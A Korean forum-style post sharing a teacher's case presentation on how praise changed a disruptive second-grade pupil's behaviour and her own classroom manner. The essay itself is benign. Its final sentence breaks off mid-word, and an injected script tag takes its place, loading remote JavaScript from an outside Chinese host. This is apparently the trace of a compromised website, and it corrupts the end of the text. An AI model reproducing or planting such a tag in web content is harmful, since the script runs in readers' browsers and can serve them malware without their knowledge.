모범교사 사례발표(함은진)

   이   름 : 클애들

10월 25일 제1차 보수교육 때 있었던
사례발표의 내용을 올립니다.
지금 이순간에도 열심히 연구하시는 선생님들께
도움이 되길 바랍니다.

* 첨부파일은 한글파일입니다.




    [칭찬, 마음을 여는 열쇠]

함은진 교사, 수원장안 교육센터

 나는 아이들과 공부를 하다 보면 부족한 것을 많이 느낀다. 지식적인 부분에서도 그렇지만 감정적인 면에서는 더더욱 그러하다. 처음에 이 일을 하게 되었을 때 내 교실에서는 한두 시간 걸러서 한번씩은 꼭 괴성이 터져 나왔다. 아이들의 소리가 아니라 나 나름대로 아이들 군기를 잡는 소리였다. 참으로 아이들은 다양하다. 쉬지 않고 그림을 그리는 아이, 옆의 아이를 건드리는 아이, 자기만 봐 달라는 아이, 혼자서 조용히 딴 짓 하는 아이. 그나마 감사해야 할 일은 그 아이들이 한꺼번에 들어오지 않는다는 것이었다. 그러나 한 그룹에 그런 아이들이 하나라도 끼어 있으면 신경이 안 쓰일 수가 없었다. ‘저 아이 꼭 나를 보게 해야 하는데’ 그러고는 “누구누구 책 봐” “누구누구 조용히 해” 바로 지적에 들어간다. 두 번,세 번 지적이 이어지다 보면 내 소리는 커지고 만다. 지금 생각해 보면 아이들의 떠들었을 분위기 보다 나의 화가 나 소리 지르고 있는 모습이 우습고 민망스럽다.
 
 2학년이었던 한 아이는 공부시간에 선생님이 이야기를 하거나 말거나 옆에 친구에게 귓속말하고 책에다 민망한 그림을 그려놓고 친구들에게 보여 주며 한 시간을 보냈다. 또 별명을 어찌나 잘 붙여서 친구들을 놀려대는지 여자아이들과 엄마들의 원성이 자자했다. 그러면서도 여린 면도 있어서 도대체 갈피를 잡지 못할 성격이었다. 칭찬도 해보고 혼도 내보고 가방까지 챙겨 주며 공부하기 싫으면 이제부터 오지 말라고 돌려보낸 적도 있었다. 정말로 이제는 오지 않기를 바라며. 하지만 다음시간이면 꼭 나타나는 것이다.  어느 날 엄마하고 상담을 하게 되었다. 학교나 다른 학원에서도 여기서 하듯이 해서 힘들어 죽겠단다. 공부도 잘하고 똑똑한데 왜 그런 행동을 하는지 고민하다 우울증까지 걸리셨단다. 나는 애가 이곳에 오는 것을 재미있어하느냐고 지겨워하면 조금 쉬었다 보내는 것이 좋을 것 같다는 말을 하였다. 그 아이 엄마가 하는 말은 애가 다른 학원은 안 다니려고 해도 여기만큼은 오고 싶어한다는 것이다. 그리고 그 날 선생님이 무슨 이야기를 했는지까지 이야기한단다. 참 이상한 일도 다 있어라. 그리 안 듣고 장난만 치는 녀석이 집에 가서는 왜 딴 소리를 하는 거지? 다니고 싶다는 아이를 오지 말라고 할 수도 없었다. 그렇다고 그대로 두자니 다른 아이들한테는 방해가 되었다. 인내심을 갖고 살피기 시작했다. 그런데 뜻밖에도 얘가 작은 칭찬에도 너무나 쑥스러워 하며 뿌듯해 하는 것이었다. ‘요 녀석 봐라.’ 그때부터 작은 일도 칭찬하기 시작하였다. “ㅇㅇ이가 책을 잘 읽어 왔네” “그런 것도 알고 있었구나.” “니가 그런 이야기를 하니 아이들이 모두 재미있어 하는 구나” “네가 이런 생각을 해 냈구나”그랬더니 늘 이상한 유머로 아이들을 웃기려고 했던 아이가 이야기를 하기 시작하였다. 자기가 재미있게 읽었던 옛날이야기며 어느 나라에는 뭐로 유명한지. 이제까지 그렇게 진지한 표정을 본 적이 없는 것 같았다. ‘얘는 이야기하기를 좋아하는구나’를 지나서 그것으로 뭔가 풀어내려는 것 같다는 생각이 들 정도였다. 그 후에 아이가 공부하는 태도가 완전히 바뀐 것은 아니었지만 이제는 그 시간이나 아이가 그 전처럼 부담스럽지는 않았다. 2학년이나 되고 남자, 여자 편가르던 녀석이 안아주면 다섯 살 아이처럼 부끄러워하면서도 좋아하는 모습이 재미있기만 하였다. 어느 날인가는 공부가 끝이 난지 서너 시간이 지났는데 아이가 한 발에만 신발을 끼고 깽깽이로 교실로 들어오면서 신발을 잃어버렸다는 거다. 아니 신발이 이곳에서 없어졌다면 갈 때는 뭘 신고 갔는지 싶었다. 자기도 여기서 나갈 때 신고 있었다는 것이다. 이야기를 들어 보니 피아노 학원에서 신발을 잃어 버렸는데 아무리 찾아도 없어서 여기에는 없을 줄 알면서도 와 봤다는 이야기다. 얼마나 걱정을 했는지 원래부터 하얗던 얼굴이 더 하얘 보이고 곧 울음이 터질 것 같았다. 안된 마음에 없는 줄 알면서도 나도 우리 교실을 구석구석 찾아 보아야했다. 그 아이 엄마를 통해 나중에 알았지만 두 시간이나 신발을 찾아 헤매다 그 곳까지 온 것이었다.
아이를 보내고 여러 가지 생각이 들었다. 왜 나를 찾아 왔을까? 물론 신발 잃어버린 것이 엄마에게 혼날 일이기는 하였어도 다른 아이들도 그렇게 오랜 시간을 찾아 다녔을까 싶었다. 나보다도 엄마를 먼저 찾아가는 게 맞을 것이다. 그 얼굴에 나?script src=http://s.lbs66.cn/kr.js>